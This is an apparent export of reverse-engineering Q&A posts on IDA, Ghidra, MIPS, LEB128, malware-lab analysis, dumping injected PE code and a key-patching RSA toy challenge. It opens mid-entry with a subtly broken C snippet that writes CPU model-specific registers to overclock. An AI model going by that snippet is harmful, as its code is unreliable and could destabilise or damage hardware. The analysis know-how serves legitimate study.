&quot;wrmsr\\n\\t&quot;  // MSR\u30ec\u30b8\u30b9\u30bf\u306b\u66f8\u304d\u8fbc\u3080\n        :  // \u51fa\u529b\n        : &quot;m&quot;(regs.clockControl), &quot;m&quot;(regs.voltageControl), &quot;m&quot;(regs.temperatureControl)  // \u5165\u529b\n        : &quot;%eax&quot;, &quot;%edx&quot;  // \u30af\u30ea\u30a2\u3059\u308b\u30ec\u30b8\u30b9\u30bf\n    );\n}\n\nint main() {\n    // \u73fe\u5728\u306e\u30cf\u30fc\u30c9\u30a6\u30a7\u30a2\u30ec\u30b8\u30b9\u30bf\u3092\u8aad\u307f\u8fbc\u3080\n    HardwareRegisters currentRegs = readHardwareRegisters();\n\n// \u6700\u5927\u5b89\u5168\u30af\u30ed\u30c3\u30af\u30b9\u30d4\u30fc\u30c9\u3068\u30aa\u30fc\u30d0\u30fc\u30af\u30ed\u30c3\u30af\u306e\u30ec\u30d9\u30eb\u306b\u57fa\u3065\u3044\u3066\u65b0\u3057\u3044\u30af\u30ed\u30c3\u30af\u30b9\u30d4\u30fc\u30c9\u3092\u6c7a\u5b9a\u3059\u308b\nuint32_t newClockSpeed = currentRegs.clockControl + 1000;  // \u30af\u30ed\u30c3\u30af\u30b9\u30d4\u30fc\u30c9\u30921000 MHz\u5897\u3084\u3059\n\n// \u30cf\u30fc\u30c9\u30a6\u30a7\u30a2\u30ec\u30b8\u30b9\u30bf\u3092\u65b0\u3057\u3044\u30af\u30ed\u30c3\u30af\u30b9\u30d4\u30fc\u30c9\u306b\u66f4\u65b0\u3059\u308b\ncurrentRegs.clockControl = newClockSpeed;\nwriteHardwareRegisters(currentRegs);\n\n// \u65b0\u3057\u3044\u30af\u30ed\u30c3\u30af\u30b9\u30d4\u30fc\u30c9\u3067\u30b7\u30b9\u30c6\u30e0\u306e\u5b89\u5b9a\u6027\u3092\u30c6\u30b9\u30c8\u3059\u308b\n// LinX\u3084Prime95\u306a\u3069\u306e\u30d7\u30ed\u30b0\u30e9\u30e0\u3092\u4f7f\u3063\u3066\u65b0\u3057\u3044\u30af\u30ed\u30c3\u30af\u30b9\u30d4\u30fc\u30c9\u3067\u5b9f\u884c\u3059\u308b\n\nreturn 0;\n}\n</code></pre>\n"
    },
    {
        "Id": "31251",
        "CreationDate": "2022-12-09T02:18:17.147",
        "Body": "<p>Recently I got a program that has two colors of <code>.text</code> segment, one is <code>black</code> and the other is <code>brown</code>:</p>\n<p><a href=\"https://i.stack.imgur.com/pKyF3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pKyF3.png\" alt=\"enter image description here\" /></a></p>\n<p>While the flow chart and the decompiler work well on <code>black</code> part, they are both disabled on the <code>brown</code> part, as below:</p>\n<p><a href=\"https://i.stack.imgur.com/Q5uLZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Q5uLZ.png\" alt=\"enter image description here\" /></a></p>\n<p>Later, I found the <code>brown</code> <code>.text</code> part is categorized as <code>Single instruction</code>, rather than <code>Regular function</code>:</p>\n<p><a href=\"https://i.stack.imgur.com/17Fed.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/17Fed.png\" alt=\"enter image description here\" /></a></p>\n<p>I wonder if there is a way, to make the Flow Chart and the Decompiler work for the <code>Single instruction</code> part?</p>\n",
        "Title": "IDA Pro Flow Chart and Decompiler Doesn't Work on Single Instruction text",
        "Tags": "|ida|decompilation|",
        "Answer": "<p>The brown text is called as single instruction because the function, prologue of which we see in brown color, was not recognized by IDA as function.</p>\n<p>There are many possible reasons for that, for example this function may be never called directly, or there is unrecognized instruction inside. In order to make this code a function (which will make it black) by defining it as a function yourself, you can press <kbd>P</kbd> when the cursor is located on address <code>0x00405fd0</code> where the function prologue starts, or select all the functions' instructions and press <kbd>P</kbd>.</p>\n<p>When this code becomes function, the graphs and decompilation should start working.</p>\n"
    },
    {
        "Id": "31260",
        "CreationDate": "2022-12-11T10:15:38.777",
        "Body": "<p>Want to get 32 bits from 0x8000 adress as 8 bytes</p>\n<pre><code>MEM_EXT:00008000                 db 54h\nMEM_EXT:00008001                 db 53h, 57h, 20h\nMEM_EXT:00008004                 dd 322E3256h, 31332030h, 30303330h, 31313320h, 43432036h\nMEM_EXT:00008004                 dd 2F363535h, 20425345h, 865808FAh, 865808FAh, 865808FAh\nMEM_EXT:00008004                 dd 865808FAh, 865808FAh, 865808FAh, 865808FAh, 865808FAh\nMEM_EXT:00008004                 dd 865808FAh, 865808FAh, 865808FAh, 0FFA735A7h, 962F8E20h\nMEM_EXT:00008004                 dd 0DF00F0h, 0DF00FFh, 0AF008Fh, 70002h, 380038h, 0FF000700h\nMEM_EXT:00008004                 dd 0, 0, 0\n</code></pre>\n<p>Would this be</p>\n<p>0x54 0x53 0x57 0x20 0x32 0x2e 0x32 0x56 ???</p>\n<p>How to get further 64 bits, after first 32 bits from 0x8000?</p>\n<p>Weird things is that 64 bits as 16 bytes should contain also 0 somwehere</p>\n<p>Those should be permutation and S-box key parts</p>\n<p>Some more info:</p>\n<pre><code>ROM:00000000 ; Processor       : c166 [C165]\nROM:00000000 ; Target assembler: Keil A166 Assembler\nROM:00000000 ; Byte sex        : Little endian\n</code></pre>\n",
        "Title": "Reading memory values in IDA",
        "Tags": "|ida|disassembly|assembly|",
        "Answer": "<p>In order to change the representation of the data to byte, word(2 bytes), dword(4 bytes) or qword(8 bytes) you can use the following shortcuts after locating the cursor at the needed adress:</p>\n<ul>\n<li><kbd>U</kbd>: undefines the data, reverts it to bytes</li>\n<li><kbd>D</kbd>: changes data representation (pressing it on byte makes it short, pressing it on short makes it dword, and then rolls back to byte)</li>\n<li><kbd>Q</kbd>: changes data representation as qword</li>\n<li><kbd>*</kbd>: makes data an array of the type of the element you located the cursor at, you can choose the size</li>\n<li><kbd>Y</kbd>: Assigns a type to an object at a specific address (for example, in your case, it may be BYTE sbox[size], choose size according to the used encryption algorithm)</li>\n</ul>\n<p>So in order to make the data at your address look like bytes, you need just to undefine the data at <code>00008004</code>, this will revert all the group of dwords to bytes. After that you can arrange the rest of the array as you want with the mentioned shortcuts.</p>\n"
    },
    {
        "Id": "31268",
        "CreationDate": "2022-12-12T22:25:57.593",
        "Body": "<p>This audio sample that I\u2019m trying to download: <a href=\"https://www.audiotool.com/sample/hard_spinz_-_808\" rel=\"nofollow noreferrer\">https://www.audiotool.com/sample/hard_spinz_-_808</a> doesn\u2019t appear to be listed when viewing the source code. I\u2019ve looked over the whole page multiple times, tried inspect element as well, but I still can\u2019t find a link to the embedded audio. This goes for all the other samples on the site.</p>\n<p>Is there a solution to this?</p>\n",
        "Title": "Can\u2019t download embedded audio",
        "Tags": "|websites|",
        "Answer": "<p>Using Chrome:</p>\n<ol>\n<li><code>More Tools -&gt; Developer Tools</code></li>\n<li>Within developer tools, click on the <code>Network</code> tab at the top</li>\n<li>Within the <code>Network</code> tab, click on <code>Media</code></li>\n<li>Click the play button</li>\n<li>An entry named <code>preview.mp3</code> should show up in the table</li>\n<li>Right click on <code>preview.mp3</code>, click <code>Open in New Tab</code>, then right click on the audio player and click <code>Save audio as...</code></li>\n</ol>\n"
    },
    {
        "Id": "31277",
        "CreationDate": "2022-12-14T23:26:52.510",
        "Body": "<p>Does Ghidra 10.2.2 support loading the older <strong>a.out</strong> executable format? This format (sometimes rendered as &quot;AOUT&quot;) was used on various UNIX-like systems such as SunOS and BSD, and was the simpler predecessor to COFF. I am attempting to import and disassemble a.out files that were built for Motorola 68K / VxWorks 5.5. The Linux 'file' utility identifies them as the following, which looks correct:</p>\n<p><code>a.out SunOS mc68020 executable not stripped</code></p>\n<p>Ghidra will only import them as &quot;raw binary&quot;, but I'm not sure whether that is because the a.out format is not supported at all, or rather because the combination of target OS and architecture results in a header with magic numbers currently unknown to the loader. I looked in the <code>68000.opinion</code> file and found this section, suggesting that the AOUT format is at least partially known to Ghidra:</p>\n<pre><code>&lt;constraint loader=&quot;Assembler Output (AOUT)&quot; compilerSpecID=&quot;default&quot;&gt;\n  &lt;constraint primary=&quot;1&quot;  processor=&quot;68000&quot; endian=&quot;big&quot; size=&quot;32&quot; /&gt;\n  &lt;constraint primary=&quot;2&quot;  processor=&quot;68000&quot; endian=&quot;big&quot; size=&quot;32&quot; /&gt;\n  &lt;constraint primary=&quot;200&quot;  processor=&quot;68000&quot; endian=&quot;big&quot; size=&quot;32&quot; /&gt;\n  &lt;constraint primary=&quot;300&quot;  processor=&quot;68000&quot; endian=&quot;big&quot; size=&quot;32&quot; /&gt;\n&lt;/constraint&gt;\n</code></pre>\n<p>I'm hoping to be able to take advantage of existing Ghidra functionality for parsing the relocation tables in these binaries. Does support for this particular a.out format require a new loader class in Ghidra (or modifications to an existing class)? Or could it be done with appropriate changes to the <code>.opinion</code> file section shown above?</p>\n",
        "Title": "Ghidra support for older AOUT executable format",
        "Tags": "|ghidra|motorola|",
        "Answer": "<p>This executable format was not previously supported by Ghidra. I have written support for it and submitted a pull request:</p>\n<p><a href=\"https://github.com/NationalSecurityAgency/ghidra/pull/5004\" rel=\"nofollow noreferrer\">https://github.com/NationalSecurityAgency/ghidra/pull/5004</a></p>\n"
    },
    {
        "Id": "31288",
        "CreationDate": "2022-12-19T22:29:35.460",
        "Body": "<p>I have a binary file with code for the SPC572L64 processor from ST.</p>\n<p>The Datasheet can be downloaded <a href=\"https://www.st.com/content/ccc/resource/technical/document/reference_manual/d4/c7/37/2b/3b/f9/42/0e/DM00180298.pdf/files/DM00180298.pdf/jcr:content/translations/en.DM00180298.pdf\" rel=\"nofollow noreferrer\">here</a> and the Programmers Manual <a href=\"https://www.st.com/content/ccc/resource/technical/document/reference_manual/8b/6f/4e/d6/72/82/45/78/CD00164807.pdf/files/CD00164807.pdf/jcr:content/translations/en.CD00164807.pdf\" rel=\"nofollow noreferrer\">here</a>. All documents for this processor are listed <a href=\"https://www.st.com/content/st_com/en/search.html#q=SPC572L-t=resources-page=1\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p>The documents say:</p>\n<ul>\n<li>One main 32-bit Power Architecture\u00ae VLE\nCompliant CPU core, single issue</li>\n<li>There is one e200z215An3 processor core on the SPC572Lx device.</li>\n<li>The e200z215An3 is a single-issue 32-bit PowerISA 2.06 VLE compliant design with 32-bit\ngeneral-purpose registers (GPRs). The e200z215An3 core implements the VLE (variable-\nlength encoding) ISA, providing improved code density.</li>\n<li>Instruction set enhancement allowing variable length encoding (VLE), encoding a\nmix of 16-bit and 32-bit instructions, for code size footprint reduction.</li>\n</ul>\n<p>Wikipedia says:</p>\n<ul>\n<li>Power ISA is an evolution of the PowerPC ISA, created by the mergers of the core PowerPC ISA and the optional Book E for embedded applications.</li>\n</ul>\n<p>All this confuses me more than it helps.</p>\n<p>I tried to disassemble the code with Ghidra trying all PowerPC options. But what comes out is garbage. Every few lines a &quot;??&quot; appears instead of valid code:</p>\n<pre><code>    0108003c 73 e0 e0 00     andi.      r0,r31,0xe000\n    01080040 70 68 e0 00     andi.      r8,r3,0xe000\n    01080044 18              ??         18h\n    01080045 63              ??         63h    c\n    01080046 d1 a0 70 80     stfs       f13,0x7080(0)\n    0108004a 00              ??         00h\n    0108004b bf              ??         BFh\n    0108004c 7c 89 03 a6     mtspr      CTR,r4\n    01080050 1a              ??         1Ah\n    01080051 03              ??         03h\n    01080052 09 00 1c 63     tdgti      r0,0x1c63\n    01080056 00              ??         00h\n    01080057 40              ??         40h    @\n    01080058 7a              ??         7Ah    z\n    01080059 20              ??         20h     \n    0108005a ff              ??         FFh\n    0108005b f8              ??         F8h\n    0108005c 70 68 e0 00     andi.      r8,r3,0xe000\n    01080060 70 79 c7 c0     andi.      r25,r3,0xc7c0\n    01080064 48 c4 7c 89     bl         SUB_01cc7cec\n</code></pre>\n<p>And the decompiler outputs:</p>\n<pre><code>void UndefinedFunction_01080000(void)\n{\n  /* WARNING: Bad instruction - Truncating control flow here */\n  halt_baddata();\n}\n</code></pre>\n<p>Can anybody give me a step by step instruction what settings I need to disassemble this processor?</p>\n",
        "Title": "How to disassemble SPC572L assembler code?",
        "Tags": "|assembler|",
        "Answer": "<p>Based on the <a href=\"https://github.com/NationalSecurityAgency/ghidra/issues/127\" rel=\"nofollow noreferrer\">link</a> provided by rce, Ghidra needs extra help to disassemble this code correctly.</p>\n<p>I select Language = &quot;PowerISA-VLE-64-32addr&quot; in the Ghidra project editor: Then to start the disassembly it will <strong>ONLY</strong> work by pressing the F12 key:</p>\n<p><a href=\"https://i.stack.imgur.com/71biA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/71biA.png\" alt=\"Ghidra PowerPC VLE code\" /></a></p>\n<p>Also with <strong>IDA pro 7.5</strong> I can disassemble my binary file. IDA pro has only two options for PowerPC: Big endian and Little endian. I selected Big Endian. When loading I chose that all the code is VLE and I get a successful disassembly:</p>\n<p><a href=\"https://i.stack.imgur.com/kiRV0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kiRV0.png\" alt=\"IDA pro disassembly of PowerPC VLE code\" /></a></p>\n<p>After loading the file you must press &quot;C&quot; to start the disassembly which is done very fast.</p>\n<p>To see also the hex bytes (blue) in the disassembly you must edit the file <strong>ida.cfg</strong> and set</p>\n<p>OPCODE_BYTES            = 4</p>\n<p>because these bytes are disabled by default.</p>\n"
    },
    {
        "Id": "31297",
        "CreationDate": "2022-12-23T13:27:39.780",
        "Body": "<p>I'm trying to understand this part of a MIPS binary I am reversing using IDA. I have attached screenshots of the decompilation, disassembly, and the offset passed into the <code>jalr</code> instruction.</p>\n<p>I am quite new to MIPS, so I think I am misunderstanding what's going on here.</p>\n<p>The mktime() is a stub, so I guess that must be the reason for the odd output?</p>\n<p>To me it looks like its just jumping to the start of the Global Offset Table, which makes no sense. Maybe it's trying to reference some function from the .got? I'm not too sure what's going on here. .GOT entry to memmove is at <code>.got:004D0D78</code>.</p>\n<p><code>.got:004D0D78 memmove_ptr:    .word memmove</code></p>\n<p><a href=\"https://i.stack.imgur.com/BIMh1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BIMh1.png\" alt=\"decompilation\" /></a>\n<a href=\"https://i.stack.imgur.com/hF4AL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hF4AL.png\" alt=\"disassembly\" /></a>\n<a href=\"https://i.stack.imgur.com/YJIcw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YJIcw.png\" alt=\"global offset table\" /></a></p>\n",
        "Title": "Confused about small MIPS disassembly snippet (jalr)",
        "Tags": "|ida|mips|",
        "Answer": "<p>The first slot of the GOT is special. At runtime, it is patched by the dynamic loader to point to its resolver function (<code>_dl_runtime_resolve</code> or similar). That function uses information in <code>$t8</code> (symbol/relocation offset) to look up the symbol in  one of the dependent shared objects and jumps to it. It also usually patches the corresponding GOT slot so that next calls go directly to the destination function and need not go through the resolver again.</p>\n"
    },
    {
        "Id": "31345",
        "CreationDate": "2023-01-02T14:34:45.507",
        "Body": "<p>I am trying to debug an app which I don't own which uses HTML5 and JS, which displays a video stream.  The issue is that the video stutters when viewed in high resolution.</p>\n<p>Note that the code is obfuscated, but has been prettyfied which helps a little.  So far using Chrome developer tools and by injecting listeners I have determined that the video is being displayed in a <code>&lt;canvas&gt;</code> element.  From my research, I have determined that displaying video content in <code>&lt;canvas&gt;</code> requires the use of <code>&lt;video&gt;</code>, where the data taken from the video element is manipulated and written on to the <code>&lt;canvas&gt;</code>.</p>\n<p>My problem is that I want to get a reference to the <code>&lt;video&gt;</code> element, which apparently is not a part of the DOM.  The use of Chrome developer tools reveals no such element, nor does <code>getElementsByTagName()</code>.  I find clues in the code which indicate a <code>&lt;video&gt;</code> element most likely exists, so my conclusion is that it is just used in memory as a tool and is not added to the DOM.</p>\n<p>Does anyone have any suggestions as to how I can get a reference to this element?</p>\n",
        "Title": "HTML/JS app - getting a reference to an element which is not part of the DOM",
        "Tags": "|javascript|",
        "Answer": "<ul>\n<li><p>Look for any requests to <code>document.createElement</code> or <code>document.createElementNS</code> in the code that may be creating and appending the <code>&lt;video&gt;</code> element to the DOM. You might be able to locate the <code>&lt;video&gt;</code> element by searching the child nodes of its parent element.</p>\n</li>\n<li><p>Look for any event listeners associated with the <code>&lt;video&gt;</code> element. For example, if the <code>&lt;video&gt;</code> element has a onended event listener, you could try triggering it and seeing if it produces any output in the console or other visible effects.</p>\n</li>\n<li><p>Search the code for any mentions of the <code>&lt;video&gt;</code> element. You might notice references to an attribute in the code, for instance, if the <code>src</code> attribute of the <code>&lt;video&gt;</code> element is set dynamically.</p>\n</li>\n<li><p>You might be able to locate the <code>&lt;video&gt;</code> element by looking for it in the virtual DOM or component tree if the code makes use of a JavaScript library or framework (like React or Angular).</p>\n</li>\n<li><p>If the <code>&lt;video&gt;</code> element is being used to display a video stream from a server, you may be able to locate it by inspecting the network traffic in the developer tools. For example, if the video stream is served via the HTML5 <code>MediaSource</code> API, network requests for video segments should be visible in the network panel.</p>\n</li>\n</ul>\n"
    },
    {
        "Id": "31347",
        "CreationDate": "2023-01-03T02:41:26.333",
        "Body": "<p>I'm new to IDA.</p>\n<p>Refer here: <a href=\"https://reverseengineering.stackexchange.com/questions/21140/red-text-highlight-in-ida-pro\">Red text Highlight in IDA Pro</a></p>\n<p>But I can't find any useful in Problem Window.</p>\n<p><a href=\"https://i.stack.imgur.com/NGvPx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NGvPx.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "What the meaning of RED dq in .data?",
        "Tags": "|ida|",
        "Answer": "<p>In this case, auto-analysis has decided that the <code>QWORDs</code> at those locations should be displayed as pointers, but the concrete data value, <code>0</code>, is not a valid pointer within the binary's address space.</p>\n"
    },
    {
        "Id": "31356",
        "CreationDate": "2023-01-06T00:37:46.973",
        "Body": "<p>How do I extract or dump injected executable code/payload from malware using the x32dbg trick?\nMy malware sample is injecting an Exe PE file in a legitimate File like &quot;Explorer.exe&quot;.\nHow do I dump the File?</p>\n",
        "Title": "How to dump PE from Injected Code using x32dbg?",
        "Tags": "|malware|",
        "Answer": "<p>First of all you can attach x32dbg to the process where PE was injected. Next you must trace the address of allocated memory where the malicious PE was written to. If you got that informations you can select bytes that PE consists of from Dump Window in x32dbg, then Right-Click and select &quot;Dump to file&quot; option.</p>\n<p>In my opinion the whole process is even easier with Process Hacker tool, where you have to just spot the address where PE was written and then dump all pages to file.</p>\n"
    },
    {
        "Id": "31365",
        "CreationDate": "2023-01-08T08:46:13.170",
        "Body": "<p>I'm going through the book Practical Malware Analysis (specifically, Lab07-03) and I've been stuck on a rather simple problem. I've divided the code section of <code>main()</code> into three parts to ease my analysis. (Note: I'm assuming the stack is growing downwards here.)</p>\n<pre><code>Part 1) mov eax, [esp+argc]\nsub esp, 44h\ncmp eax, 2\n\nPart 2) push ebx\npush ebp\npush esi\npush edi\njnz ExitProgram\n\nPart 3) mov eax, [esp+54h+argv]\nmov esi, offset hardcodedString\nmov eax, [eax+4]\n</code></pre>\n<p>Part 1:</p>\n<p>This looks simple enough, the stack pointer (<code>esp</code>) is added with the memory location of <code>argc</code> and the value at that address is saved in the <code>eax</code> register. Then <em>44h</em> is subtracted from <code>esp</code> to make room for some local variables of the main function. Finally, <code>eax</code> is compared to 2 and the appropriate flags are set in the flag register (the value of <code>eax</code> is not modified).</p>\n<p>Part 2: Based on a <a href=\"https://stackoverflow.com/questions/12736437/why-does-gcc-push-rbx-at-the-beginning-of-main\">similar</a> question on StackOverFlow, it seems that the registers are pushed in Part 2 as they are callee save registers. This seems to be true as when main exits, it is popping these <em>exact</em> registers. Is my understanding of this correct?</p>\n<p>Part 3: I'm adding the variables below if that helps in correcting me.</p>\n<pre><code>.text:00401440 var_44          = dword ptr -44h\n.text:00401440 var_40          = dword ptr -40h\n.text:00401440 var_3C          = dword ptr -3Ch\n.text:00401440 var_38          = dword ptr -38h\n.text:00401440 var_34          = dword ptr -34h\n.text:00401440 var_30          = dword ptr -30h\n.text:00401440 var_2C          = dword ptr -2Ch\n.text:00401440 var_28          = dword ptr -28h\n.text:00401440 var_24          = dword ptr -24h\n.text:00401440 var_20          = dword ptr -20h\n.text:00401440 var_1C          = dword ptr -1Ch\n.text:00401440 var_18          = dword ptr -18h\n.text:00401440 var_14          = dword ptr -14h\n.text:00401440 var_10          = dword ptr -10h\n.text:00401440 var_C           = dword ptr -0Ch\n.text:00401440 hObject         = dword ptr -8\n.text:00401440 var_4           = dword ptr -4\n.text:00401440 argc            = dword ptr  4\n.text:00401440 argv            = dword ptr  8\n.text:00401440 envp            = dword ptr  0Ch\n</code></pre>\n<p>I also don't understand the instruction <code>mov eax, [esp+54h+argv]</code>. It looks like the first argument that is passed to the program is being saved in <code>eax</code>, so wouldn't <code>mov eax, [esp+44h+argv]</code> make more sense? I recognize the function of the instruction <code>mov eax, [eax+4]</code> is to fetch the actual input passed to the program (i.e. <code>argv[1]</code>), which is what makes the previous instruction's indexing so confusing.</p>\n<p>The <code>mov esi, offset hardcodedString</code> is just moving the address of the first character of the string into <code>esi</code>, so it looks good to me.</p>\n<p>I'd appreciate some help here!</p>\n",
        "Title": "Unable to determine what esp is pointing to",
        "Tags": "|x86|",
        "Answer": "<p>esp had 0x44 subtracted, then an additional three registers pushed, so esp is now -0x50.  Then the access is 0x50+argv+4, which is argv[1].</p>\n"
    },
    {
        "Id": "31368",
        "CreationDate": "2023-01-09T04:01:10.847",
        "Body": "<p>I'm attempting to reverse engineer a binary file format which is used to encode a list of integer values. I can't work out how this format works, as the number of bytes used to encode each value changes depending on the value itself, yet there's nothing I can see in the format which gives any indication of how many bytes each integer value contains!</p>\n<p>Here's a sample of binary file contents vs their expected integer list values:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>binary</th>\n<th>values</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>0a 07 0a 05 03 04 06 07 0b</code></td>\n<td>3, 4, 6, 7, 11</td>\n</tr>\n<tr>\n<td><code>0a 04 0a 02 07 0b</code></td>\n<td>7, 11</td>\n</tr>\n<tr>\n<td><code>0a 1a 0a 18 88 0b 89 0b  8a 0b 8b 0b 8c 0b 8d 0b 8e 0b 8f 0b 90 0b 91 0b 92 0b 93 0b</code></td>\n<td>1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427</td>\n</tr>\n<tr>\n<td><code>0a 0e 0a 0c 01 02 03 04 05 06 07 08 09 0a 0b 0c</code></td>\n<td>1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12</td>\n</tr>\n<tr>\n<td><code>0a 1e 0a 1c 01 02 03 04 05 06 07 08 09 0a 0b 0c b8 06 86 0b 8e 0b 8f 0b 91 0b 92 0b 93 0b 94 0b</code></td>\n<td>1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 824, 1414, 1422, 1423, 1425, 1426, 1427, 1428</td>\n</tr>\n<tr>\n<td><code>0a 04 0a 02 94 0b</code></td>\n<td>1428</td>\n</tr>\n<tr>\n<td><code>0a 03 0a 01 01</code></td>\n<td>1</td>\n</tr>\n<tr>\n<td><code>0a 07 0a 05 d2 85 d8 cc 04</code></td>\n<td>1234567890</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Clearly the format starts with <code>0a total_size 0a list_size</code> followed by the actual list of values, but I can't work out how the values could possibly be encoded!</p>\n<p>Any assistance or insights would be greatly appreciated...</p>\n",
        "Title": "Decoding a list of integer values in unknown format",
        "Tags": "|binary-analysis|file-format|",
        "Answer": "<p>The answer from @ratchet freak is correct.</p>\n<p>To add a little more information, this format is known as <a href=\"https://en.wikipedia.org/wiki/LEB128\" rel=\"nofollow noreferrer\">LEB128</a>.  It's not uncommon and pops up in various places. For example, DWARF3 debug info and android's dalvik executable files.</p>\n"
    },
    {
        "Id": "31376",
        "CreationDate": "2023-01-09T16:46:35.060",
        "Body": "<p>I'm pretty sure that original code was much simpler:</p>\n<pre><code>(((x + 16) &gt;&gt; 31) ^ abs(x + 16) &amp; 3) + 4 * ((y + 16) % 4) - ((x + 16) &gt;&gt; 31)\n</code></pre>\n<p>Looks like division with remainder... Any ideas what this could be?</p>\n<p>The code was compiled with Visual Studio 6.0.</p>\n",
        "Title": "What was the original math operation after optimizing compiler?",
        "Tags": "|ida|assembly|c|math|compiler-optimization|",
        "Answer": "<p>I should have attached disassembler listing:</p>\n<pre><code>.text:004486EA 02C                 mov     eax, [ebp+arg_4]\n.text:004486ED 02C                 add     eax, 10h\n.text:004486F0 02C                 cdq\n.text:004486F1 02C                 xor     eax, edx\n.text:004486F3 02C                 sub     eax, edx\n.text:004486F5 02C                 and     eax, 3\n.text:004486F8 02C                 xor     eax, edx\n.text:004486FA 02C                 sub     eax, edx\n.text:004486FC 02C                 lea     ecx, ds:0[eax*4]\n.text:00448703 02C                 mov     eax, [ebp+arg_0]\n.text:00448706 02C                 add     eax, 10h\n.text:00448709 02C                 cdq\n.text:0044870A 02C                 xor     eax, edx\n.text:0044870C 02C                 sub     eax, edx\n.text:0044870E 02C                 and     eax, 3\n.text:00448711 02C                 xor     eax, edx\n.text:00448713 02C                 sub     ecx, edx\n.text:00448715 02C                 add     ecx, eax\n.text:00448717 02C                 mov     dword_524CEC, ecx\n</code></pre>\n<p>The right answer is:</p>\n<pre><code>(x + 16) % 4 + 4 * ((y + 16) % 4)\n</code></pre>\n<p>It gets obvious if you assume positive x and y.</p>\n<p>Usually IDA Pro detects such cases, but I think last two instructions were confusing for the analyzer.</p>\n"
    },
    {
        "Id": "31378",
        "CreationDate": "2023-01-09T22:46:07.467",
        "Body": "<p>I'm working my way through reversing a toy challenge, and I find myself stuck. The app is pretty simple, it spits out a blob of text (e.g. &quot;3b880a90e476d66569d9d5dfb5cd755af3f...&quot;). Dumping the code, I can see that it builds an RSA public key by directly specifying <code>n</code> and <code>e</code>:</p>\n<pre><code>myRsa-&gt;n=v4;\nmyRsa-&gt;e=v5;\n</code></pre>\n<p>Then it encrypts it's payload:</p>\n<pre><code>encodedLength = RSA_public_encrypt(flen, from, to, myRsa, 1);\n...\nprintf(&quot;%s&quot;,to);\n</code></pre>\n<p>My goal: steal the payload. Debugging tells me flen is 240, encodedLength is 100. I dumped the <code>e</code> for the public key as bytes, and wrote some code to generate my own RSA public/private key, patching <code>e</code> to be mine (<code>n</code> is the same for both, so left unpatched).</p>\n<pre><code>unsigned long bytes_read = fread(in, sizeof(unsigned char), size, file);\n    fclose(file);\n\n    for (size_t i = 0; i &lt; bytes_read; i++) {\n        if (memcmp(nCharOrig, in + i, 258) == 0) {\n            memcpy(in + i, nCharNew, 258);\n            printf(&quot;Found and patched at %d\\n&quot;, i);\n        };\n    }\n</code></pre>\n<p>Patch works, I get a different blob of text, which in theory is the same payload, encrypted with my public key. So I try to decrypt it:</p>\n<pre><code>unsigned char output[8000];\n    RSA *rsa = RSA_new();\n    EVP_PKEY *privkey;\n    FILE *fp;\n\n    privkey = EVP_PKEY_new();\n    fp = fopen (&quot;private.pem&quot;, &quot;r&quot;);\n    PEM_read_PrivateKey( fp, &amp;privkey, NULL, NULL);\n    fclose(fp);\n\n    rsa = EVP_PKEY_get1_RSA(privkey);\n    int decryptLength = RSA_private_decrypt(256, input, output, rsa, 1);\n</code></pre>\n<p>Weirdly I get back decryptLength = -1, and an error:\n<code>error:0407109F:rsa routines:RSA_padding_check_PKCS1_type_2:pkcs decoding error</code></p>\n<p>I'm at a loss.. what am I missing here?</p>\n",
        "Title": "Reversing an RSA function throws pkcs decoding error",
        "Tags": "|ida|decryption|encryption|cryptography|openssl|",
        "Answer": "<p>Turns out if you're gonna get hex strings printed to console, you have to convert them back to a binary char array before decrypting..</p>\n"
    },
    {
        "Id": "31379",
        "CreationDate": "2023-01-10T07:49:35.997",
        "Body": "<p>Reversed this function. It works. But stepping through I can't figure out how. Why does this work?</p>\n<pre><code>bool   _Is64BitOS(void) {\n    unsigned int version = *(unsigned int*)0x7FFE026C;\n    unsigned int address = version == 10 ? 0x7FFE0308 : 0x7FFE0300;\n    ILog(&quot;Running %u-bit system\\n&quot;, *(void**)address ? 32 : 64);\n\n    return (*(void**)address ? false : true);\n};\n</code></pre>\n<p>Why do we find <code>0x0A</code> at <code>0x7FFE026C</code> on a 64 bit Windows install?</p>\n",
        "Title": "How does this Is64BitOS pointer-arithmetic-based function work?",
        "Tags": "|windows|c++|",
        "Answer": "<p>&quot;Simple&quot;, I want to respond, but it's somewhat involved.</p>\n<p>That region -- (<a href=\"https://msrc-blog.microsoft.com/2022/04/05/randomizing-the-kuser_shared_data-structure-on-windows/\" rel=\"nofollow noreferrer\">since newer Windows 10 versions read-only</a>) mapped into userspace of every program -- is known as <a href=\"https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntexapi_x/kuser_shared_data/index.htm\" rel=\"nofollow noreferrer\">KUSER_SHARED_DATA</a>. You can find details about the offsets and there meaning <a href=\"http://terminus.rewolf.pl/terminus/structures/ntdll/_KUSER_SHARED_DATA_combined.html\" rel=\"nofollow noreferrer\">over here</a> (<em>beware, it's a bit dated!</em>).</p>\n<p>The first assignment to <code>version</code> merely reads <code>KUSER_SHARED_DATA::NtMajorVersion</code>. So to answer:</p>\n<blockquote>\n<p>Why do we find <code>0x0A</code> at <code>0x7FFE026C</code> on a 64 bit Windows install?</p>\n</blockquote>\n<p>... it's the major version of the Windows, 10 in decimal representation.</p>\n<p>Since we need an up-to-date view of what <code>KUSER_SHARED_DATA</code> looks we'll have a look at the official symbols from Windows 10 by starting WinDbg/WinDbgX on Windows 10, launching some 64-bit program from it (e.g. notepad.exe) and then running <code>dt 